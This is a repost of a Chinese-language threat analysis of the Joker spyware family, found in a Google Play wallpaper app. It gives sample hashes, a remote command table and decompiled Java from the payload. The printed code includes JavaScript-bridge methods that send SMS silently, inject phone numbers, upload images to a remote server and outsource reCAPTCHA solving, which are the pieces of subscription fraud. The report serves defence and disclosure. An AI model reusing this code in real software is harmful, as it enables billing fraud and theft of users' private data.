Spyware.Joker分析报告

渗透技巧 1年前 (2023) admin
134 0 0

一、事件概要

2023年9月20日,知名社交平台X(前身为推特)上有移动安全人员发布一则Android恶意软件提醒推文[1],文章披露了全球最大的Android应用软件商店Google Play上发布了一个Android恶意软件家族Joker传播的一款名为Beauty Wallpaper HD的恶意应用软件,截至9月20日为止,拥有1000+下载量的Joker家族样本,其家族名源于其早期使用的C2域名,提取了其中的特征字符串Joker作为其家族名称,其主要的恶意行为是肆意给用户订阅各种收费SP服务、窃取用户隐私来进行收益,鉴于Joker是目前Google Play商店上最活跃的家族之一,所以我对其家族成员样本进行详细分析,披露其近期的发展态势。

Spyware.Joker分析报告

Spyware.Joker分析报告

二、威胁细节

恶意行为主要通过主恶意软件Beauty Wallpaper HD以及其衍生物来施行,所以通过对其进行分析掌握其恶意行为的细节脉络。

Beauty Wallpaper HD

样本概况

描述
应用名 Beauty Wallpaper HD
包名 com.wellnone.wallpaper
文件类型 APK
文件大小 21.14 MB
MD5 5d53a4977ceddd86083c0ae66f3b3133
证书MD5 7af3f792457692ff9dd2b47d29911c82
病毒家族 Joker
报毒 2/63(VirusTotal)
发布时间 2023-09-14

杀毒引擎扫描结果

截至9月20日为止,只有卡巴斯基、ZoneAlarm两款杀毒引擎检测出其是恶意应用软件并且指出其为Joker家族的成员。

Spyware.Joker分析报告

发布日期

从以下三个数据,推断出该恶意软件的流出时间为2023-09-14。
1.证书的有效期起始时间

Spyware.Joker分析报告

2.Google Play上的软件更新日期

Spyware.Joker分析报告

3.应用商店apksos收录该恶意软件的日期

Spyware.Joker分析报告

威胁行为分析

9月21日通过网络抓包,可以看到相关资源已经从服务器中删除。

Spyware.Joker分析报告

衍生物

样本概况

描述
应用名 abc.png-v265.tmp
包名
文件类型 DEX
文件大小 59KB
MD5 627f6746d8d1eb9afdf067968e4122d3fc8f3a14
证书MD5
病毒家族 Joker
报毒 无(VirusTotal)
发布时间 2023-09-14

威胁行为分析

远程指令执行

描述
cmd_timeout 命令执行超时设置
page_timeout 页面超时设置
hold 执行Javascript脚本
load_url 加载特定页面
entry_timeout 启动超时设置
wait_pin 等待Pin确认码
sleep 睡眠
do_nothing 测试项
wait_mo 等待

Spyware.Joker分析报告

监听并发送短信

Spyware.Joker分析报告

监听短信接收

Spyware.Joker分析报告

删除短信

Spyware.Joker分析报告

上传获取设备信息

Spyware.Joker分析报告

Spyware.Joker分析报告

设备启动时收集PIN码

Spyware.Joker分析报告

提供JS接口

添加注释
@JavascriptInterface
public void addComment(String s) {
this.a.a("naddComment:" + s, true);
this.c.a(s);
}
GET请求

Spyware.Joker分析报告

命令执行次数
@JavascriptInterface
public int cmdRunCount(String s) {
Integer integer0 = (Integer)this.c.P.get(s);
if(integer0 == null) {
integer0 = (int)0;
}

this.c.P.put(s, Integer.valueOf(((int)integer0) + 1));
return (int)integer0;
}
自定义ajax请求
@JavascriptInterface
public void customAjax(String s, String s1) {
try {
this.a.a("customAjax:-url:" + s + " body:" + s1, true);
this.d.a.put(s, s1);
}
catch(Exception exception0) {
this.a.a("customAjax--failed:" + exception0 + " " + exception0.getMessage());
}
}
自定义提交
@JavascriptInterface
public void customSubmit(String s, String s1) {
try {
this.a.a("customSubmit:-url:" + s + " body:" + s1, true);
this.d.b.put(s, s1);
}
catch(Exception exception0) {
this.a.a("customSubmit--failed:" + exception0 + " " + exception0.getMessage());
}
}
下载页面
@JavascriptInterface
public void dpage(String s, String s1) {
int v = TextUtils.isEmpty(s) ? 0 : s.length();
this.a.a("jsDump:" + v + ":" + s1, true);
if(s1.startsWith("about:blank")) {
this.a.a("jsDump---ignore-page:" + s1, true);
return;
}
获取运营商信息
@JavascriptInterface
public String getOp() {
return z.e(this.b.a);
}
public static String e(Context context0) {
TelephonyManager telephonyManager0 = (TelephonyManager)context0.getSystemService("phone");
return telephonyManager0 == null ? "" : telephonyManager0.getSimOperator();
}
获取屏幕信息
@JavascriptInterface
public String getScreen() {
try {
JSONObject jSONObject0 = new JSONObject();
jSONObject0.put("width", this.b.d.a);
jSONObject0.put("height", this.b.d.b);
jSONObject0.put("availWidth", this.b.d.d);
jSONObject0.put("availHeight", this.b.d.e);
jSONObject0.put("keyboardHeight", this.b.d.g);
return jSONObject0.toString();
}
catch(Exception exception0) {
exception0.printStackTrace();
return null;
}
}
上传下载图片
@JavascriptInterface
public String imageDama(String s, String s1) {
String s5;
String s2 = this.c.x;
String s3 = "";
if(s.equals("get")) {
try {
HttpURLConnection httpURLConnection0 = (HttpURLConnection)new URL(s1).openConnection();
httpURLConnection0.setRequestMethod("GET");
httpURLConnection0.connect();
if(httpURLConnection0.getResponseCode() == 200) {
BufferedReader bufferedReader0 = new BufferedReader(new InputStreamReader(httpURLConnection0.getInputStream(), "utf-8"));
StringBuilder stringBuilder0 = new StringBuilder();
while(true) {
String s4 = bufferedReader0.readLine();
if(s4 == null) {
break;
}

stringBuilder0.append(s4);
}

s5 = stringBuilder0.toString().trim();
goto label_18;
}
}
.....
if(s.equals("post")) {
try {
HttpURLConnection httpURLConnection1 = (HttpURLConnection)new URL(s1).openConnection();
httpURLConnection1.setRequestMethod("POST");
httpURLConnection1.setDoOutput(true);
httpURLConnection1.setDoInput(true);
httpURLConnection1.setUseCaches(false);
httpURLConnection1.connect();
byte[] arr_b = ("{"method":"base64","key":"d72dbd608088d9502f0636bd38d03dea","body":"data:image/jpeg;base64," + s2 + ""}").getBytes(StandardCharsets.UTF_8);
httpURLConnection1.getOutputStream().write(arr_b);
if(httpURLConnection1.getResponseCode() == 200) {
BufferedReader bufferedReader1 = new BufferedReader(new InputStreamReader(httpURLConnection1.getInputStream(), "utf-8"));
StringBuilder stringBuilder1 = new StringBuilder();
while(true) {
String s6 = bufferedReader1.readLine();
if(s6 == null) {
break;
}

stringBuilder1.append(s6);
}

s3 = stringBuilder1.toString().trim();
goto label_48;
}
}
注入号码
@JavascriptInterface
public void injectNumber(String s) {
if(!TextUtils.isEmpty(s)) {
v265t3.a.a(this.b.a, s);
}
}
短信发送
@JavascriptInterface
public void moSend(String s, String s1) {
this.a.a("jsMoSend--->:address:" + s + "--->content:" + s1, true);
if(TextUtils.isEmpty(s)) {
this.c.d = s1;
return;
}

this.a.c(s, s1);
}
验证码
@JavascriptInterface
public String recaptcha(String s, int v, String s1) {
int v1 = 30000;
try {
Uri.Builder uri$Builder0 = z.a(this.a, v265t1.a.c + v265t1.a.m + s);
uri$Builder0.appendQueryParameter("step", "" + v);
if(v == 0) {
JSONObject jSONObject0 = new JSONObject(s1);
String s2 = jSONObject0.getString("url");
String s3 = jSONObject0.getString("key");
uri$Builder0.appendQueryParameter("website_url", s2).appendQueryParameter("website_key", s3);
if("v3".equalsIgnoreCase(s)) {
String s4 = jSONObject0.getString("action");
double f = jSONObject0.getDouble("score");
uri$Builder0.appendQueryParameter("page_action", s4).appendQueryParameter("min_score", "" + f);
}
}
else {
uri$Builder0.appendQueryParameter("recaptcha_task_id", s1);
}

String s5 = uri$Builder0.toString();
this.a.a("recaptcha---url:" + s5, true);
HttpURLConnection httpURLConnection0 = (HttpURLConnection)new URL(s5).openConnection();
httpURLConnection0.setRequestMethod("POST");
httpURLConnection0.setConnectTimeout(30000);
if(v != 0) {
v1 = 120000;
}

httpURLConnection0.setReadTimeout(v1);
httpURLConnection0.setRequestProperty("Content-Type", "text/plain;charset=utf-8");
int v2 = httpURLConnection0.getResponseCode();
this.a.a("recaptcha---status:" + v2, true);
return v265t3.a.a(httpURLConnection0);
}
停止任务
@JavascriptInterface
public void stopTask(int v) {
this.a.a(((long)v));
}

三、威胁溯源

Joker(又称Bread)家族最早于2016年12月被捕捉到,截至目前VirusTotal上捕获到该家族发布恶意软件数量已达1w+。

四、安全建议

即使全球最大的Android应用商店Google Play,也非绝对安全的下载渠道,强大的审查机制、检测能力,也无法拦截所有恶意软件的渗透植入,所以为了用户的设备安全提出以下建议:

  1. 非必要不使用小众应用软件。

  2. 非必要不适用上线短的应用软件。

  3. 下载应用认准各大应用商店或者去大厂应用软件官网进行下载。

  4. 关注安全厂商安全新闻,一旦发现被披露的恶意应用软件出现在自己手机上,及时联系专业安全人员进行处理。

来源:https://xz.aliyun.com/ 感谢【yong夜

原文始发于微信公众号(衡阳信安):Spyware.Joker分析报告

版权声明:admin 发表于 2023年9月30日 上午12:01。
转载请注明:Spyware.Joker分析报告 | CTF导航

相关文章

暂无评论

您必须登录才能参与评论!
立即登录
暂无评论...